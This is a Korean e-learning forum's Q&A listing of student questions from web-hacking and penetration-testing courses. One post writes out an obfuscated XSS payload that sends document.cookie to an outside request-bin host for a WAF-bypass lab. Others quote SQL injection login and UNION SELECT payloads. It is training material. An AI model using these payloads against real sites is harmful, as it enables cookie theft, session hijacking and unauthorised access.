inflearn logo
강의

강의
N
챌린지

챌린지
멘토링

멘토링
N
클립

클립
로드맵

로드맵
지식공유

묻고 답해요

173만명의 커뮤니티!! 함께 토론해봐요.

미션 어떻게 하는 거에요?

해결됨

해킹 입문부터 중급까지, 한 번에 배우는 웹해킹

미션하라고만 하고 내용이 안떠요;;;

  • 모의해킹
mewpotofficial 댓글 1 좋아요 0 조회수 112

XSS 1번문제 질문

해결됨

해킹 입문부터 중급까지, 한 번에 배우는 웹해킹

XSS 1번 문제 질문 드립니다. 웹 모의해킹에 대한 초보입장에서 시작부터 막히는 상황이라서요.. document.cookie를 통해 cookie값을 알아오기 위해 자신의 웹서버 주소와 포트번호는 어떻게 확인할 수 있나요? cmd>ipconfig를 통해 그냥 IP주소로 입력해도 되는건가요?.. 포트번호는 VM 요청시 받아온 포트번호가 맞을까요?ㅠ

  • 모의해킹
신수진 댓글 2 좋아요 0 조회수 118

xss_WAF_4가 안 됩니다

해결됨

해킹 입문부터 중급까지, 한 번에 배우는 웹해킹

<iframe srcdoc = "<&#x73;cript>fetch(' https://mamibjs.request.dreamhack.games/ ?'+document.cookie)</&#x73;cript>"> 서버 주소는 드림핵 툴즈 이용했습니다. 스크립트를 위처럼 작성하고 activate admin bot 버튼 누르면 전송이 와야 되는데 안 옵니다. 제가 직접 작성한 글을 클릭해서 하는건 전송이 또 되는데 어드민 봇이 안되는 거 같습니다. 추가로 xss_WAF_3으로도 해봤는데 이것같은 경우는 정상 작동했습니다.

  • 모의해킹
신예준 댓글 2 좋아요 0 조회수 102

화면 크기에 대하여

미해결

성공적인 SQL 인젝션 공격을 위한, SQL 기본 문법

강의 영상을 보면서 따라하기에는 터미널 화면이 너무 작네요. 그냥 눈으로만 볼 수 있을 뿐...따라하면서 배우기는 어려운 강의라고 생각됩니다.

  • sql
  • 모의해킹
  • mysql
poolchamp 댓글 2 좋아요 0 조회수 111

강의 자료도 진도율에 포함하여 수강 완료 처리해 주세요.

미해결

RTL - 레드팀 맛보기

수업 자료가 진도율에 포함이 되지 않습니다. 그래서 강의를 모두 수강하였지만 10% 부족으로 나옵니다. 수강 완료 후 받을 수 있는 수료증 발급이 필요합니다.

  • 모의해킹
  • 진도율
유리바다 댓글 1 좋아요 0 조회수 110

백슬래시에 관하여

해결됨

해킹 입문부터 중급까지, 한 번에 배우는 웹해킹

실습 중 백슬래시를 세개 사용하여 로그인 시도 중 로그인이 가능한 것을 확인하였습니다. '\'의 경우 이스케이프 문자로 뒤에 오는 값을 문자열로 표현하기 위함으로 알고 있습니다. 그렇다면 '\\'로 사용하면 문자열로서의 " \ "가 될것인데, id 값에 '\\\'를 넣을 경우 id='\\\'가 됨으로서 최종 id의 값은 문자열로서의 " \' "가 되는 것으로 생각이 되는데 어떻게 로그인이 가능한 것일까요?

  • 모의해킹
박민호 댓글 2 좋아요 0 조회수 80

basic_bof.py가 없어요

미해결

해킹대회(CTF) 출전을 위한 시스템해킹(Pwnable) 입문

압축파일을 해제했는데, 강사님처럼 파이썬 파일(.py)는 없네요. pwntools도 깔았는데... 어떻게 하면 되는지 알려주시면 감사하겠습니다~

  • 모의해킹
  • 시스템-해킹
  • buffer-overflow
poolchamp 댓글 2 좋아요 0 조회수 105

cmd로 검색하면 잘 나오는데 웹 페이지에서 작성하면 결과값이 안 나옵니다.

해결됨

웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩

강의처럼 ‘ union select 'test','test',null,null,'test',null,null,null,null# 라고 치고 검색버튼을 누르면 아무런 결과값이 안 나오는데, cmd창에서 쿼리문 작성시 결과값이 잘 나옵니다. 이유가 뭔지 궁금합니다! ㅜㅜ 세팅은 똑같이 따라했습니다

  • 모의해킹
  • 인젝션
양태영 댓글 2 좋아요 1 조회수 105

IPS, WAF 구현했는데 공부에 지장이 있을까요?

미해결

입문자를 위한 웹해킹 완벽 실습 with Beebox

GNS3에 IPS, WAF 구현했는데 해당 기능 써도 될까요? 혹시 공부에 지장이 있을까요?

  • 모의해킹
박준섭 댓글 0 좋아요 0 조회수 57

SQL Injection - Login

해결됨

해킹 입문부터 중급까지, 한 번에 배우는 웹해킹

ID 입력란에 페이로드( admin' AND 1=1 -- ) 삽입 시 정상적으로 플래그가 도출되었으나 ID에 'admin', PW 입력란에 페이로드( 1' or 1=1 -- ) 삽입 시 플래그가 도출되지 않았습니다. 두번째의 경우 ID='admin' AND PW=' 1' or 1=1 -- ' 로 ID가 'admin'이고 PW가 쿼리로 인해 항상 참인데 왜 플래그가 도출되지 않는지 모르겠습니다.

  • 모의해킹
박민호 댓글 2 좋아요 0 조회수 257

주의사항 1

해결됨

모의해킹 실무자가 알려주는, XSS 공격 기법

수업을 들으면서 민감한 기능을 사용에 주의해야 한다고 하셨는데 그러면 만약 실무진단 도중에 Xss의 위험을 발견하고 세션하이재킹을 시도해보고 싶다면 독단적인 판단이 아니라 담당자와의 이야기를 한 후에 진행해야하나요? 아니면 이런 세세한 부분은 이야기하지 않고 후에 보고서로 제출하는 건가요?

  • 모의해킹
  • xss
김찬혁 댓글 2 좋아요 1 조회수 122

저 웹페이지는 어떻게 들어가나요?

해결됨

웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩

맥북이라 htdocs말고 맥북에 해당하는 폴더에 넣고 localhost/폴더명(insecure_website)/치는데 파일들의 리스트가 뜹니다 Index of /insecure_website Parent Directory action.php auth.php common.php css/ dom.php download.php error.php htmlpurifier/ index.php join.php js/ list.php login.php logout.php modify.php mypage.php pingcheck.php query.txt upload/ view.php withdrawal.php write.php xmlparser.php index.php로 들어갈 경우 아래와 같은 것이 화면에 출력되어, location.href='index.php?page=error&value={$page}';"; } ?> short_open_tag => On => On 이걸로 설정바꿨는데도 계속 똑같습니다.

  • 모의해킹
  • 인젝션
slappulms 댓글 1 좋아요 0 조회수 138

맥북은 어떻게 설치해야 하나요?

미해결

웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩

.exe파일이 열리지 않습니다

  • 모의해킹
  • 인젝션
slappulms 댓글 1 좋아요 0 조회수 179

dvwa

미해결

화이트해커가 되기 위한 8가지 웹 해킹 기술

dvwa 파일이 사이트에 없습니다

  • 모의해킹
댓글 1 좋아요 0 조회수 91

받은 메일에는 코드가 없습니다. 그래서 /verify 코드 입력을 진행할 수 없습니다

미해결

BHPT - 호스트 기반 모의해킹 기초

레드라쿤 가이드북 애플리케이션에서 초대를 받았습니다! 메일에는 아래 내용만 있고 코드가 없습니다. 레드라쿤 가이드북 레드라쿤 가이드북 애플리케이션에 가입한 기록이 있습니다. 아래 버튼을 클릭하여 계정 비밀번호를 설정하고 접근 권한을 얻으세요: 비밀번호 설정 비밀번호 설정를 클릭할 수 없을 때는 웹 브라우저에서 다음 링크로 접속할 수 있습니다. https://guides.redraccoon.kr/register/invite/ztoviU9MYpbRfBIEhamCAOt5 그래서 /verify 코드 입력을 진행할 수 없습니다.

  • 모의해킹
  • 네트워크
  • kali-linux
  • 오펜시브-시큐리티
댓글 2 좋아요 0 조회수 125

vtcsec 오류

미해결

버그헌팅과 시나리오 모의해킹 전문가 되기

해당 내용을 추가했는데도 페이지가 이쁘게 나오지 않고 그대로 나오는데 왜 이러는지 알려주시면 감사하겠습니다!ㅠㅠ

  • 모의해킹
김지용 댓글 1 좋아요 0 조회수 78

가이드북 신청 질문

미해결

RTL - 레드팀 맛보기

가이드북 접근 신청을 하는것만으로도 AWS추가비용이 발생한다는건가요 아니면 가이드북신청해놓고 공부할때 사용할때 비용이 발생하기 시작한다는것인가요?

  • 모의해킹
ADK123 댓글 1 좋아요 0 조회수 131

zenmap 설치 오류

미해결

버그헌팅과 시나리오 모의해킹 전문가 되기

zenmap 설치 과정에서 이렇게 결과가 나오는데 어떻게 해결해야 될지 알려주시면 감사하겠습니다...ㅠㅠ 칼리 버전은 2025.2 입니다

  • 모의해킹
김지용 댓글 0 좋아요 0 조회수 82

nmap 오류 관련 질문입니다.

미해결

버그헌팅과 시나리오 모의해킹 전문가 되기

이런 식으로도 결과가 나올 수 있나요? 칼리 버전은 2025.2 입니다.

  • 모의해킹
김지용 댓글 1 좋아요 0 조회수 147

인기 태그

인프런 TOP Writers

주간 인기글